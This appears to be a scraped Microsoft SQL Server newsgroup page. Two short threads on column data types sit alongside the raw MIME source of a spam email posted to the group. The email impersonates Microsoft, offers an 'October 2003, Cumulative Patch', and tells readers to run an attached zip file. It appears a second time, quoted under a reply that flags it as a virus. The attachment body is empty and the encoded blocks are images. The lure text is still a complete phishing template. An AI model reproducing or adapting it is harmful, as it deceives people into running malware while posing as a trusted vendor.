Appropriate Data Type

I want to save some serialized data in a SQL Server 2005 table. What is the appropriate field type for this? I won't be associating a schema with the data. The data could vary in length--even up to several MB. I'm not sure whether to use text, NVARChar(MAX) or XML.

Brian

Brian,

A couple of SQL Server 2005 MSDN aritcles talk about when to use XML and some of the best practices. Some relevant ones are "XML Best Practices for Microsoft SQL Server 2005"; "XML Options in Microsoft SQL Server 2005"; "Performance Optimizations for the XML Data Type in SQL Server 2005".

In short XML is very useful 1) when you want schema validation (may not apply to your case); 2) when you want to query into the XML data or update granular parts of it. If your data is in XML format but your application merely uses the database to store and retrieve the data, an (n)varchar (max) column might suffice.

As a side note: Use varchar and nvarchar datatypes instead of text and ntext as the latter are in deprecation path (Deprecated Database Engine Features in SQL Server 2005)

Thanks

Babu

Apply Your Thought On Char To Int

HI FRIENDS,
IS THERE ANY PERFORMANCE IMPACT WHEN I USE "CHAR" AS A DATA TYPE INSTEAD OF USING "INT" FOR RETRIEVING DATA OR FOR SOME COMPLEX QUERY.
THANKS
WITH BEST REGARDS,
DHIRAJYes - and the result may not be what you expect since char comparison are different from numeric comparisons - if in your example you are storing only numbers in a char field.|||Originally posted by rnealejr
Yes - and the result may not be what you expect since char comparison are different from numeric comparisons - if in your example you are storing only numbers in a char field.

THANKS FOR YOUR KIND REPLY.
I WANT TO STORE ONLY THE NUMBER IN DATABASE.
IF I USE CHAR DATATYPE INSTEAD OF INT AND ALSO USE INDEX ON THAT FIELD.
THEN WHAT HAPPEN.. IS THERE PERFORMANCE IMPACT ON QUERY OR NOT.

PLS I WANT TO CLEAR THAT ACTUALY I ALWAYS USE INT WHEN I WANT TO STORE NUMBERIC(INT) DATA.
ONE FELLOW TOLD ME THAT NEVER USE INT. ALWAYS USE CHAR. IT IS GOOD PRACTICE. OTHERWISE U WILL FACE SO MANY PROBLEM IN FEATURE. IS IT CORRECT?????

I REPLY HIM THAT ONLY BECAUSE OF PERFORMANCE I USE INT INSTEAD OF CHAR.

THANKS
DHIRAJ|||A lot of accounting systems treat numbers as text,, sortof. The numeric data is stored in char fields. One of the big differences as mentioned in a previous post is the sorting. As Int fields 1, 2, 3, 10, 100, 101, 1000 get sorted ascending in that order, if stored as char the same numbers would be sorted ascending as 1, 10, 100, 1000, 101, 2, 3 (I may have 101 and 1000 swapped but you can still see the difference). If you have to connect to an accounting system to update/retrieve data that might influence decisions on which datatype to use. Personally I prefer the int value.

Apply this internet package for Microsoft Windows

--bjszjhemnhj
Content-Type: multipart/related; boundary="vqzkxajtgdbsybf";
type="multipart/alternative"
--vqzkxajtgdbsybf
Content-Type: multipart/alternative; boundary="cszcjnmsnamlbgbt"
--cszcjnmsnamlbgbt
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help protect your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run code on your system.
This update includes the functionality = of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch = at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.
---
The names of the actual companies and products mentioned = herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--cszcjnmsnamlbgbt
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
&
.navtext{color:#ffffff;text-decoration:none}
Microsoft
All Products |
Support |
Search |
Microsoft.com Guide
Microsoft Home
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help protect your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run code on your system.
This update includes the functionality = of all previously released patches.
System requirements
Windows 95/98/Me/2000/NT/XP
This update applies to
MS Internet Explorer, version 4.01 and later
MS Outlook, version 8.00 and later
MS Outlook Express, version 4.01 and later
Recommendation
Customers should install the patch = at the earliest opportunity.
How to install
Run attached file. = Choose Yes on displayed dialog box.
How to use
You don't need to do = anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles
can be found on the Microsoft Technical Support web site. = For security-related information about Microsoft products, please = visit the
Microsoft Security Advisor web site, = or Contact Us.
Thank you for using Microsoft products.
Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.
The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.
Contact Us
|
Legal
|
TRUSTe
©2003 Microsoft Corporation. All rights reserved.
Terms of Use
|
Privacy Statement |
Accessibility

--cszcjnmsnamlbgbt--
--vqzkxajtgdbsybf
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <aldcmwj>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO
X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg
4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI
sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg
mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD
JHX5UiagQILcNMtKl26zu3etuBgUaKcePXv0QIo0iSjaw8raROKYh6nbuFbmVpVlpbKby4Mya858
eWrlrV0l/fECWDBhw4hPimoJUw9NQVa0Yg6kk6dPmD9xt/Xi52kgKG4GCRLtpTjZNmZTQ5yktLXT
QFNDA+qJe2wkkgkrrmWrx4tv0X6M/gvFrnzh6uaO+wCKOhzs7TzWyUesyDom7z9//EAKOh51eYKK
sdWWH1D15cd78J12GFJKufRXcfwNNtR/ANYXE006UfdSfBQq1lxM3fFHWFlojRBCCA5goMMK5y3V
1B879VGdUMlRqIxaG7kUmHEikVTjQyuAcGIGDmSQwQUYzPBAA1UIKJMfUCI4Vhs2EjTJKrWYwogp
mXSxY0iTTLhQAC2ocKIDHGywgAwYWPDAm3AeIIVztr3E1FiFVSnQJLXc4ksxuujyiy6npNGFYBKK
WRAzKZipAgkp8ACCAyLg0MClDcD5ppIUVNCFFDL1oSF8Qvn3nyi8+KIqMH8aQwwx/66EMQcoVQxG
mI/KBEBCCCSo0MIPLJSJwA6YFvsmBlFkYgopUTxwgQ8XXGBBBRUA0QUXeJp6qi2r2rKLLcAU42qs
WIRhR623YpdDNM4wQ0IOInggrwfFNoCDDl20wooqqaSCCil3SHCBBgQXnAGbFmCAgQMkBKDnLsMU
4wswvPCySy3DuLpJGFiY4YodX6RrUhnOIFDDvPNeqkkXfKzCyssv8+svwM5uYPPNONusAZszEEEE
GoooQsfQdRRdxyJII83I0ow04nQjjkTtCB5cVN3KMBEXA8wuFbMC6Cu5jIJFLsG4oonIQeQQQw4o
a5KsI6moogrMMMvt77+kCPzB3v589+03BxdQ0IFyotyCdTFap7I1K7Z4YskmcIwSTC+9KMHGSD6S
0AIJHkRxByekkIJKv3LPXbfMeOddgQmst+466xoAIUEEEUzAQNBD02H00UkvwnTTT0s9ddV4ZPEK
1hH/qTUnlyDyRi659BJMMLiEgrkoQSwTAjMefPIJ6KKPHnfppfeLCt6cCDFDmjT8AMP7MJywwQW0
1187Aco5osUYyGNtjC+ccFwhzuCK6U0OF2uoQht8FAMEoMADnfge+M7Xrwpa8HyhI0X6JGCwDGhg
fvYLoe1wRzSj9c53THsa1KRGNS6oYQxZ0AXyjKGLUlzCEoeIQxjIRjnKTYESC/7EnjJyYAIRRMF7
4Auf+Cp4vtRxghNOiEAHjxTC+k3gfsp5ghPSAIqMBeoUlkjEIeYgBzjwEBdonEIOgmgWSDlgC0h8
YgabSEcncuITUZQBwYxERftRYAIToEDtbie0EhbthL9TofBa6IT9jeEVgQpUJcZoCDEUcHqUw8UU
ysBGZZQgBAvAgSfimMQMmjJ0T/SeGiKgRw3w8QKz+2Mgp/UALKamC1FYwha1AElJzkEMYiDb5HqB
wE2SRIjR0MEIGoCJUUqwlKd84h0/4QlMRKACezQSLAM5A2pR6wF/JGTudofIFAaPhVW7AxWooIX9
ZSELv4hnJYA5CjQScw1rUP/jMQeCgA/gQA2ecOYzpUnQaVKzmtfM5pEkMIFpebMCtZwA/lJTBR88
YQlRcIITQBHPeNrhCEcwQhPQmM8EALEkAwnBDTBAhWYG1HukTCVMD4oJTBDBAgrNAEOnZYE/vomh
4jQk75KWyHNGrYWO0KUT1tlOWnRUCUdQQhOaoIQ12GEKsVCgEAVSAge88RIufelMxxrQal7iEkLg
oCv5uFOffvOPE0XMMvjggy74IAoZ3UI8aYEEJUh1CkoggxIOUIbCbFUZyczADM4K1rI69rHVxARj
kyDFtRppp9OawR8pAFQS6s6EvSuq0xZZNS444gkZ1SgVQkELWvjMr1QlQgT+pgALG+yTIDrgwAPo
wFiwhtWxNZUsYxVBWYX6YAYT0CwgHwDRB0i0PNGoghTsCoQoaEIYQhCCz7ZLhCYoIAdD+ZEyQqAB
C4xBEb09a3Brmt5LBE0RWYiAB/mo2EBSoJvfdG5QP3vI0JpztOgsLR8y8QTU4jUK2U2wEIagBAWU
AQy3JcgIUqSF97b3wu9VhCXQwErLKpYCDvXmmygQV+UEQLpScKUPfACEFjuBCGuAhQ4gXBLxIjZa
QrBEhtGL3rPyOMOWCHIiOkxfCzT0oc2lwH7J6d+lKTLAVfPIdAu8hCUAwQlCIIMBikAJCEeYIMm4
gAxmkIggB3nHOzazJcb+QIXZ6bHIIPZmT0FMYj2RyUw50EEZRIAASnzheoctSJEekIgyq/nQalaE
E2QXAYHlFANx1iyILYDcJYOWqP9d4VFLi62PgEQkGAl1mI5p44HcYMxoQISqC21oIYcxDUuowOwk
IAMOTDEDGAAnBR5gARyAE5Al1pMytIM5UiuEBxWwQBIOoepmO1sRd/BBBWgnMGo9a758xECmcOBr
QE5Av55lMqadbNThldYjX/h0qEVyvVIDiFpEOIS85b3qOjBBBrODgL4foCZoWVsG2cZAt5fL7ToL
WyAVWeAxA42QScjgAkQoRCHmrYhGgDAC+s54AjbAAQ4s4GDeFHOuvf3/ABwMQBgiUHK4L620TJP2
3J7WSEhG1MmJRKILsJzDxBfxhfLWL+MZn4AGOm5rgj2cWrJ8wAB2sAMRFEMYBtcTRUpCdXcbZDV8
sIAExoAHHuA7At2sYv3Q5PEOQmvXTE/7DlCu8kLyd6gtJzeANw3zPaRb5uwOIkoV0gY2SNsCgG+0
DFJwJFhWMbkDK7qHRcD4xjMeBxMoQAGEHYSpWz0hPlhANHxggWtyYBnMQAYIKvBwCZj+9GCHqAUc
kFMdOF4EOzBAAXoA2JX3d9zAm7u5oxxzW4164doaiAM0rwwU0IAHz4hGAEDfAjH74PTQn4G0EpAA
Z9HX9Y03wAEKcIAB/oDAYQc/CQkcEIBoPAMGzoDBM2KwfGa0QAMXOBLg5y8B6V/gAVNowhQogIEV
61kEDXAAPdADTVAJaKBjtgd3KCR3mrZ7nWZ36kZzx0QIV5AQGNAC5Xd+x6B+7Md8KYBN0oZkziIt
E4AAKTAACtBQ8ZIA3NcBKrAMMRB+RfEAzLAM0aAMz/ACLwANyrcMyNACKXABCwA40VKEFPBwRtYE
cjAHhmAEU5AAAzgFYjAHrHZmCVhODPhyvAeBtkJzNUYIs5AQNLgM5VeBV9CDoQeEIZABICADbviG
FBAtRqYAzCAQAVACOSAACFACMngYFqACNRgAgiiIy+CDLQCEJCAD/yWgAV7ViHF4ATOQAFMABxI3
cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA
AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--vqzkxajtgdbsybf
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <rrkyatz>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--vqzkxajtgdbsybf--
--bjszjhemnhj
Content-Type: application/x-compressed; name="Q253716.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--bjszjhemnhj--This is a multi-part message in MIME format.
--=_NextPart_000_0253_01C3898B.E23B6A70
Content-Type: multipart/alternative;
boundary="--=_NextPart_001_0254_01C3898B.E23B6A70"
--=_NextPart_001_0254_01C3898B.E23B6A70
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
VIRUS ALERT!!!!
-- Tibor Karaszi, SQL Server MVP
Archive at: http://groups.google.com/groups?oi=3Ddjq&as =ugroup=3Dmicrosoft.public.sqlserver
"Sixdollarclassifieds" <bqgvzyx@.gtqk.com> wrote in message =news:%23uSjWvNiDHA.1956@.TK2MSFTNGP10.phx.gbl...
Microsoft All Products | Support | Search | =Microsoft.com Guide Microsoft Home
Microsoft Customer
this is the latest version of security update, the "October =2003, Cumulative Patch" update which resolves all known security =vulnerabilities affecting MS Internet Explorer, MS Outlook and MS =Outlook Express as well as three new vulnerabilities. Install now to =help protect your computer from these vulnerabilities, the most serious =of which could allow an malicious user to run code on your system. This =update includes the functionality of all previously released patches.
System requirements Windows 95/98/Me/2000/NT/XP This update applies to MS Internet Explorer, version 4.01 and =later
MS Outlook, version 8.00 and later
MS Outlook Express, version 4.01 and later Recommendation Customers should install the patch at the =earliest opportunity. How to install Run attached file. Choose Yes on displayed =dialog box. How to use You don't need to do anything after installing this =item.
Microsoft Product Support Services and Knowledge Base articles =can be found on the Microsoft Technical Support web site. For =security-related information about Microsoft products, please visit the =Microsoft Security Advisor web site, or Contact Us.
Thank you for using Microsoft products.
Please do not reply to this message. It was sent from an =unmonitored e-mail address and we are unable to respond to any replies.
---
The names of the actual companies and products mentioned herein =are the trademarks of their respective owners.
Contact Us | Legal | TRUSTe =A92003 Microsoft Corporation. All rights reserved. Terms of Use =| Privacy Statement | Accessibility --=_NextPart_001_0254_01C3898B.E23B6A70
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
&

---

.navtext {
COLOR: #ffffff; TEXT-DECORATION: none
}
VIRUS ALERT!!!!
-- Tibor Karaszi, SQL Server MVPArchive at: http://groups.google.com/groups?oi=3Ddjq&as">http://groups.go=ogle.com/groups?oi=3Ddjq&as ugroup=3Dmicrosoft.public.sqlserver
"Sixdollarclassifieds" wrote in =message news:%23uSjWvNiDHA.=1956@.TK2MSFTNGP10.phx.gbl...
Microsoft
All Products | Support | Search | Microsoft.com Guide
Microsoft Home
Microsoft Customerthis is the latest =version of security update, the "October 2003, Cumulative Patch" update =which resolves all known security vulnerabilities affecting MS =Internet Explorer, MS Outlook and MS Outlook Express as well as three new = vulnerabilities. Install now to help protect your computer from =these vulnerabilities, the most serious of which could allow an =malicious user to run code on your system. This update includes the =functionality of all previously released patches. =
System requirements
Windows =95/98/Me/2000/NT/XP
This update applies to
MS Internet Explorer, version 4.01 and laterMS Outlook, version 8.00 and laterMS Outlook =Express, version 4.01 and later
Recommendation
Customers should install the patch at =the earliest opportunity.
How to install
Run attached file. Choose Yes on =displayed dialog box.
How to use
You don't need to do anything after =installing this item.
Microsoft Product Support Services and =Knowledge Base articles can be found on the Microsoft Technical Support web site. For security-related information about Microsoft products, please =visit the Microsoft Security Advisor web site, or Contact Us. Thank you for using =Microsoft products.Please do not reply to =this message. It was sent from an unmonitored e-mail address and we =are unable to respond to any replies.
The names of the actual companies =and products mentioned herein are the trademarks of their respective =owners.
Contact Us | Legal = | TRUSTe
=A92003 Microsoft Corporation. =All rights reserved. Terms of Use | Privacy Statement | Accessibility =

---

--=_NextPart_001_0254_01C3898B.E23B6A70--
--=_NextPart_000_0253_01C3898B.E23B6A70
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <024601c3897b$1ea66570$216411ac@.tibork>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO
X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg
4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI
sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg
mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD
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
--=_NextPart_000_0253_01C3898B.E23B6A70
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <024801c3897b$1ea66570$216411ac@.tibork>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=--=_NextPart_000_0253_01C3898B.E23B6A70--

Application Warning

